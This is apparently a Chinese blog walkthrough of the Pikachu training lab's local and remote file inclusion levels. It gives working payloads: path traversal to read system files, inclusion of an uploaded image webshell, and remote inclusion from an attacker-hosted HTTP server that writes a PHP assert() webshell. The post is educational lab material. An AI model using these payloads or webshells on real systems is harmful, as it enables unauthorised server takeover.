目录

一、来自官方的简介

二、来自小可爱的通关步骤

第一关  File Inclusion(local)

1、读取“隐藏”文件

2、读取系统文件

3、结合文件上传getshell

第二关  File Inclusion(remote)

1、直接包含木马

2、包含写木马的文件


先安利一下自己之前写过的DVWA通关--文件包含(File Inclusion)

在DVWA通关中写过的一些注意点可能在本篇中就不会再赘述了,所以如果不是针对pikachu的文件包含漏洞通关,可以再看一下这篇DVWA的文件包含漏洞通关,写的比本篇pikachu的更全更细更费心。

一、来自官方的简介

pikachu中文件包含漏洞的概述如下

那么在下文中,File Inclusion(local)关卡会尝试读取系统敏感信息,并结合文件上传漏洞包含图片马,获取webshell;File Inclusion(remote)关卡会尝试直接包含木马,以及包含写入木马的文件。

在开始之前必须知道的一点是,php的文件包含不管文件后缀名是什么,只要包含php代码,就可以被当作php代码解析。

二、来自小可爱的通关步骤

第一关  File Inclusion(local)

-------的地方是个下拉框,可以选NBA球星,比如选了Allen Iverson之后,页面是下图这样,url是http://192.168.101.16/pikachu/vul/fileinclude/fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4

可见其中包含了一个文件file2.php,很可能是文件包含,并且既然是通过URL参数从前端传到后端的,那就是用户可以控制的了,如果再没有严格的过滤,就很可能有文件包含漏洞呢。(~ ̄▽ ̄)~

1、读取“隐藏”文件

首先,由于观察到上图的filename是file2.php,猜测这里其他文件名可能也是个filex.php(x是数字)的格式。

把5个NBA球星都选一遍,发现文件名确实是file1.php~file5.php。

那有没有可能这套文件里面就有废弃或者隐藏的文件咧?

把burpsuite请出来爆破一下:

把下图这个请求报文send to intruder

然后像下面这样设置一下:

爆破位置设置为文件名中的数字,payload设置为Numbers,从6到100,步长为1,点start attack开始爆破

把爆破结果按照长度排个序,发现有如下四种长度,分别取代表file6.php、file7.php、file10.php、file100.php

盲猜应该file6.php有点东西。把上面4个文件名在浏览器地址栏试一下:

file6.php果然是个包含用户名和密码的隐藏文件

file7.php返回了报错,通过这个报错,可以知道fi_local.php中用来进行文件包含的函数是include(),并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。

file10.php和file100.php都是一样的报错信息,就不贴图了。

2、读取系统文件

从上面的报错信息还可以发现系统是windows系统,并且网站根目录是C:\phpstudy_pro\WWW

windows系统肯定有的文件是C:\Windows\win.ini,用这个来尝试有没有文件包含漏洞。

上一部分已经分析过,上图报错信息泄露出include()函数包含的文件是与fi_local.php同文件夹下include文件夹中的文件,由于路径参数中有个固定的include/,因此就不能用绝对路径了。

结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为../../../../../../windows/win.ini,代入url中组成payload:

http://192.168.101.16/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4

成功读取到C:\Windows\win.ini文件的内容:

3、结合文件上传getshell

在pikachu Unsafe Fileupload 不安全的文件上传(皮卡丘漏洞平台通关系列)的”三、getimagesize“关卡,上传了图片马,该图片马被重命名为609886601eb870c1b37703602838.jpeg,其内容包含下图所示的一句话木马。

上传图片马之后网页有回显文件保存位置的相对路径,与本关文件包含的路径对比可得相对路径,完整payload为:http://192.168.101.16/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2021/02/06/609886601eb870c1b37703602838.jpeg&submit=%E6%8F%90%E4%BA%A4

用蚁剑连接:

连接成功:

第二关  File Inclusion(remote)

先勘察一下情况:

首先这关要在php.ini中打开allow_url_include,不然会像下图这样报错。

这关的下拉框和local那关还是一样的,随便选一个,观察一下url有什么不同?

url中把include()函数的完整参数给出来了。

所以这关其实除了远程文件包含,还可以本地文件包含使用绝对路径呢:

1、直接包含木马

攻击PC上起一下http服务:

1、cmd命令行cd命令进入木马所在文件夹

2、起http服务:python3 -m http.server 8080

这样就把攻击PC上的http服务起起来了,接下来就可以通过文件包含漏洞从服务器请求攻击PC上的文件了。

用payload:http://192.168.101.16/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.101.14:8080/sh.txt&submit=%E6%8F%90%E4%BA%A4  包含文件sh.txt

该文件内容如下:

在浏览器里面试一下(虽然利用这个文件不是在浏览器里面利用,但反正就是演示一下请求文件成功了):

浏览器回显的warning是因为sh.txt中的一句话木马用的是assert()函数

攻击PC上cmd命令行可以看到sh.txt文件请求成功

上蚁剑:

url地址就是上面说的payload

连接成功

2、包含写木马的文件

首先同样要在攻击PC上起http服务,方法参见上一节。

接着用payload:http://192.168.101.16/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.101.14:8080/fin.txt&submit=%E6%8F%90%E4%BA%A4  包含文件fin.txt

该文件内容如下,其作用是在fi_remote.php文件的同级目录下新建一个文件shell.php,并将一句话木马<?php assert($_POST[fin]);?>写入shell.php。

浏览器地址栏输入payload之后,返回的就是正常显示的页面,因为fin.txt中是php代码,被当作php代码解析,并不会显示出来。

但实际上从攻击PC的cmd窗口可见,服务器请求fin.txt。由于确定有文件包含漏洞,此时fin.txt应该被成功解析,在服务器上创建了一句话木马文件shell.php。

上蚁剑:

由于一句话木马是与fi_remote.php文件同级目录的shell.php,所以蚁剑上的url地址应该是:http://192.168.101.16/pikachu/vul/fileinclude/shell.php

连接成功

pikachu的文件包含漏洞设置的挺简单的,要看复杂些的可以看看dvwa的,我在本文开头安利了之前写过的dvwa的文件包含通关。

另外,需要注意的一点是,如果攻击PC上可以解析php代码,那远程文件包含的时候,就不能包含php文件,而是要包含其他后缀的文件;但如果攻击PC不能解析php,就比如像上面演示的这样,用python3 -m http.server(或者python2 -m SimpleHTTPServer )起http服务,攻击PC就不会解析php,也就可以远程包含php文件。

如有疑问欢迎留言讨论,如有错误欢迎指正

pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)相关推荐

  1. pikachu 暴力破解 Brute Force(皮卡丘漏洞平台通关系列)

    目录 一.官方概述 二.小白菜的通关 第一关  基于表单的暴力破解 第二关  验证码绕过(on server) 1.绕过步骤 2.一点思考 第三关  验证码绕过(on client) 1.绕过步骤 2 ...

  2. Pikachu靶场之文件包含漏洞详解

    Pikachu靶场之文件包含漏洞详解 前言 文件包含漏洞简述 1.漏洞描述 2.漏洞原因 3.漏洞危害 4.如何防御 第一关 File Inclusion(local) 1.尝试读取"隐藏& ...

  3. pikachu漏洞平台通关系列导览(所有关卡已完结)

    ~~pikachu通关系列完结撒花啦~~ pikachu总体来说不难,没啥需要绕过的,比较直白,但胜在分类比较细,关卡比较多,入门练手还挺好玩的.(其实我觉得后台代码比较简单明了也是个优点(╹ڡ╹ ) ...

  4. PiKachu-File Inclusion(文件包含漏洞)

    概述 File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在P ...

  5. 文件包含和命令注入漏洞

    文件包含和命令注入漏洞 文件包含漏洞 介绍 文件包含漏洞是代码注入的一种.其原理就是注入一段用户能控制的脚本或代码,让服务器端执行,代码注入的典型代表就是文件包含file inclusion.文件包含 ...

  6. pikachu Unsafe Fileupload 不安全的文件上传(皮卡丘漏洞平台通关系列)

    目录 一.client check 客户端验证 1.现象 2.绕过姿势 方法一.浏览器禁用javascript 方法二.burpsuite抓包改后缀 3.问题分析 二.MIME type 1.现象 2 ...

  7. pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)

    目录 一.来自官方的介绍以及来自民间的扩展 1.pikachu官方简介 2.小女子之前画的脑图 3.两个不错的博客 二.小白菜的闯关 1.查看系统文件内容 2.查看php源代码 3.爆破开放端口 三. ...

  8. pikachu SQL注入 (皮卡丘漏洞平台通关系列)

    目录 一.官方的戏精引言 二.仙女在认真闯关 一重天 数字型注入 二重天 字符型注入 三重天 搜索型注入 四重天 xx型注入 五重天 insert/update注入 (1)insert注入 (2)up ...

  9. pikachu Unsafe Filedownload 不安全的文件下载 (皮卡丘漏洞平台通关系列)

    这关也几乎是一步就能搞定 1.轻松过关 进入本关看到下图的页面,点击球员名字可以下载头像图片 点击之后直接下载了,没有页面跳转,地址栏的url没有变化 右键 查看网页源代码 通过球员名称快速定位到相关 ...

最新文章

  1. java命令查看环境变量 user.home file.encoding等参数值
  2. 使用TensorFlow,GPU和Docker容器进行深度学习
  3. synchronized(八)
  4. 基于socket的C语言编程,C语言实现的Socket编程
  5. openstack ice版文档horizon整理(页面resize)
  6. 最新LAMP源码搭建网站平台PHP5.5.1 + Apache2.4.6 + mysql5.6.12
  7. 【NOI OpenJudge1789】算24(搜索)
  8. tensorflow学习之常用函数总结:tensorflow.argmax()函数
  9. html5爆音,刻录音乐CD出现爆音的解决方法
  10. c语言编译是繁体字,cconv实现简体/繁体转换
  11. java 自定义报表_报表模板实现网格式自定义报表
  12. Tomcat的使用(详细流程)
  13. 编译过程 多个.c文件 . h文件 和main文件的 联系
  14. 雷顿学院与与河北各地高校签署战略合作伙伴关系
  15. win7命令更新补丁
  16. BlackHat DEFCON现场秀:阿里安全专家演示“视频水印叠加”和“一分钟越狱iOS 11.4”...
  17. PHP项目实战之商品的增删改查
  18. 网络游戏开发成本,运营成本,收入
  19. pdfpcell 怎么设置单元格大小_word怎么设置单元格大小
  20. 超低排放行业标准发布!

热门文章

  1. debian8文件服务器,debian 8 下部署开发环境
  2. 9.5 隐函数求导法则
  3. Borel probability measure space (Borel 概率测度空间)是个啥?
  4. Error排错:container runtime network not ready
  5. 个位数字加百位数字等于千位数字加上十位数字,且该该数为奇数
  6. 抗疫逆行者网页作业 感动人物HTML网页代码成品 网页作业带JS下拉菜单 最美逆行者网页模板 致敬疫情感动人物网页设计制作
  7. JAVA基础七 类和对象
  8. linux中剪刀石头布的程序,简单模拟剪刀石头布js
  9. ai的布尔运算在哪_在AI中如何进行布尔运算
  10. Web 的全栈工程师必修课 - 关于 MVC 框架